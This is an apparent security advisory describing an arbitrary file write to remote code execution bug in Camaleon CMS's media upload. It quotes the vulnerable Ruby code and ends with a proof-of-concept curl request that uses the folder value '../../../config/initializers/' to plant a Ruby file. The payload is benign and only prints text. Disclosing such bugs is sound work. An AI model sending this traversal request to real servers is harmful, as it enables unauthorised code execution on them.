Camaleon CMS affected by arbitrary file write to RCE (GHSL-2024-182)
An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.
Once a user upload is started via the [upload](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L86-L87) method, the file_upload and the folder parameter
```ruby
def upload(settings = {})
params[:dimension] = nil if params[:skip_auto_crop].present?
f = { error: 'File not found.' }
if params[:file_upload].present?
f = upload_file(params[:file_upload],
{ folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
thumb_size: params[:thumb_size] }.merge(settings))
end
[..]
end
```
are passed to the [upload_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L23-L24) method. Inside that method the given settings are [merged](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L41-L42) with some presets. The file format is [checked against](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L61-L62) the formats settings we can override with the formats parameters.
```ruby
# formats validations
return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
uploaded_io.path, settings[:formats]
)
```
Our given folder is then [passed unchecked](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/helpers/camaleon_cms/uploader_helper.rb#L73-L74) to the Cama_uploader:
```ruby
key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })
```
In the [add_file](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_local_uploader.rb#L77) method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:
```ruby
def add_file(uploaded_io_or_file_path, key, args = {})
[..]
upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
[..]
end
```
Proof of concept
Precondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below)
curl --path-as-is -i -s -k -X $'POST' \
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \
-b $'auth_token=[..]; _cms_session=[..]' \
--data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"file_upload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skip_auto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \
$'https://<camaleon-host>/admin/media/upload?actions=false'
Note that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app:
puts "================================="
puts "================================="
puts "= COMPROMISED ="
puts "================================="
puts "================================="
Once Camaleon CMS is restarted following output will be visible in the log:
=================================
=================================
= COMPROMISED =
=================================
=================================
Impact
This issue may lea
